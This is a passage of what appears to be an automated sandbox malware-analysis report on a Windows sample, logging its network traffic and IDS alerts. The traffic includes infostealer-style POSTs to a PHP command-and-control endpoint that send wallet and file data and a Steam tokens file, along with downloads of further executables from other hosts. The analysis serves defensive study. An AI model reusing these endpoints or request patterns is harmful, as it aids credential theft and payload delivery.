6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="message"wallets------EBKKKEGIDBGHIDGDHDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBFHIEBKJKFHIEBFBAEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="message"files------CFBFHIEBKJKFHIEBFBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file"------AFCBAEBAEBFHCAKFCAKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="message"ybncbhylepme------JJDHIDBFBFHIJKFHCGIE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDGIJEGHDAECAKECAFCA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 37 37 37 42 35 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2777B55A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/rh.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49835 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49964 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50140 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50140 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CA8CC60 PR_Recv,

1_2_6CA8CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032012Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f5497324a1574cb5a11921da96835ced&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-338387&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEKtYfdlB2Zbhf1oshkJzLcawAaIeBqQrdfgalmaawndBhlaRQv6N8IfO0061NsExZnGIPezrWQLsya/3qXOkhYUQ5fQccv2isk/oxH8TlGlsjhlqyxCGidK5uvehfPTXgsrDWpLh0ZI0AnA9Biqr/oKs9exCfrBAV4oE8HYpey9yJY1jaDWued+P7mYMYJ0aWTzV/rLTWIGeYINyelYfTkJQFKj+X+7F8iewLtm1qNBADpyJ6/9aY5CYylzP41NE7euBcjpYbC/feXq9mFoQuT6ODFotWl+gwVaIPc6/d1fkn/MIOSTAKlhT3gygqUg9qjk/veifIB1UnvyRIkCVu4WrxlpMIa4uoi5PnkXUKtookqqLd02/lWSVu9t0klgC1spt1ULJ56NKYU7gNX+Wu8a7Jb/4Et9tF6mk2I309uYOVyPwQPQ8gc1572PJNizENRRG5o2sc1A2qECsufahr09g22MNp6n9FQWKwObG48O1lWD3jloW/4QVUu47A54Dc1FeAGMLvWviLKGzhWhli7WmxYxLJpf/DYHvi3lNp9xtUZa6lxGe5G2/PWNrI9pSivQlX/ywQlVUOeEJbAtQSrlu7NcB&p=Cache-Control: no-cacheMS-CV: gf7tiTfAt0G6doBb.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032013Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=85189fec5e834f2daede8e3f480e46fa&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-280815&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZn3bvSDdkcKRMLZ7yBEdXdnWX8PIggkJDO/JTCOnwjNSa8Lv7Kylh2f6FCUGlNTVph8hOZjJs3Hy5gO+74bCfLriJidNAVoZizXl/GAIPpVReNsLoseyalxhVGOSnfc6YGKS53KfsX9VxyJEo8wFdiXVYTzTKzUj7kHG0ssDxTYrlfEnlWk3ZWgReY8byhigjKfhYGTIzWwSf41SX69Xlus/4IO+jIx2WcdGcmTiJvhOq+tC1iRajUkPFvOX0fS86gqgqkI0/4vb7gfot1vLAWS8VkQ5vSZZi48caWUDXp6tkHdEuCHJl/O4hc73+ztgTScA0TrXK1a/7GYmS8kIMoQZgAAEAC6nGY9NKJ8NXWhJ0XsLEuwAekrJpptb0UmlG4GGZiuvq4VzJLqsRyvb+jQ9czjcoDaV/gCXRYEDyBF3JqjcB4qUYz3FdO6IJS5zJSeYv4RoFqhCT1sUV2d1LlDMVoJQuQWWkGZBpuFK9cPAa5RijxJfM4j8+BwlqesJxurwl6zBXKlXV7QZaXnQVLNBAuEIQ7gAEc+0e+NOfCMbipGnNcXqTKBzyLUIoCgMqz49RNBhjA1GcCXSbs6mOZbBSGHgRbiXLGJs0Luorfnn1TmwS4NuheFKB4BZ/qri6u/b5daH4sFJ4vph6avq4n61it3HQWINiG49CdPDpbmocYZGsA69ef8mWVqI3fcNTgDr1kvc7eUBZUY6v1IH1SOrAS1qcfqdui5xss7Q95KqfxKU23OI2FsmR60hOtJXbsGLUFUlcNFjZfNaQspn9NmXz+MwGD2v+JCAkn0l5XO8xJgBcwcms3noWLXB7NR0JLs8OGXUUAiEcAiSFrAKezdzQvlBHAbkfHq3nlNQLPfct4rjlVRI2XFgu5JIAF9LPW5N96NsCSrKFSO3kiubxRQrCF/YWVgyEh0RZ+HgqENwLIo5zCdA9cB&p=Cache-Control: no-cacheMS-CV: gf7tiTfAt0G6doBb.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032013Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=56ed776a4b7b426094846f6111a63aff&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-338389&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAc1gvngDCueIJFYFAWR538yOeDSS7wsFKSU+fWWv34ifQFWwqpXj9c7kPKUGIxsYHXfjKxDqqGh9dZ9AA9GcH6Xde9zJRrQoW6N4+KvR7vcJ/e/S69njchoE/zcW2hUZsM8ou04FfYaNIN+aZLlniL8oXJxttKOs4RqGItZnxPPI5ZjOzAEnMDncI2YKCHIVc1xYGJcxn8PP9Ncpmgkk94b1rPuni3YzkgYbTvbCEbHGRHD7nYh8zPj5PoLQjgGfZTTx5o4w4TGvhhdHj7CQ7WswDkgTITKVUxPmRA4sycUBQYQRzizEYogr+l6pa7/Mo40dXOlFCnJzFVviGsPSMnsQZgAAEE22Rl3dP2Q0IC320SsDTfCwATKrJ4aoYuf12wu5+MqA6rIJMf2D5i9psIAV3kTbsj9aRpzouNzGENi0347v9UgKtsZ0sSAWVGS7M7k5VWy3tJOOiQUA70my9uzVTRSSeaPLxiboEOkzfWsYla3iuua9uF3eBltrp/5WZ0blqVucSVuoUoMvMNOBRTxEMpQ4aEDAVeuWjn8zMQLaVJcvObEMz9vCftDOu/g7XYIAXMV5HUQZ48fo1FJrCIx7FivgXryMCKFgKxkeOSRQrXraWVYNfxSQr4p0UJ+yHBYCzzwh6UiOtDmRz4dlgXdOIx2EGZIc7St8bw/J6T2lUP6f4N4unM78ChxuCM5a7Wfy2WPvdFFZQNXMWY/sGR9LATOXsV2ZRdeCVY5SVCrNl4vqFBe+CStarOBaIMg6/tizFeN7rAhalIL0vlyZAiEsosnWoqE2HUta4C1TbcS+weWGwV2PoiUicDnSwuOmjsJOnHJZZVZY8mGw7w/5WHRuKAMuuZY69QZxpkqy0gZ+MdnDFk5YJzQCqtp/2DCWVWX0uMIy30dN5PPYDPpHM7m3oywEPF4FpH3W9l44EczDgdSonoKMxdcB&p=Cache-Control: no-cacheMS-CV: gf7tiTfAt0G6doBb.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032013Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=cff20c0a33494f16b516467937d32151&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-310091&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, 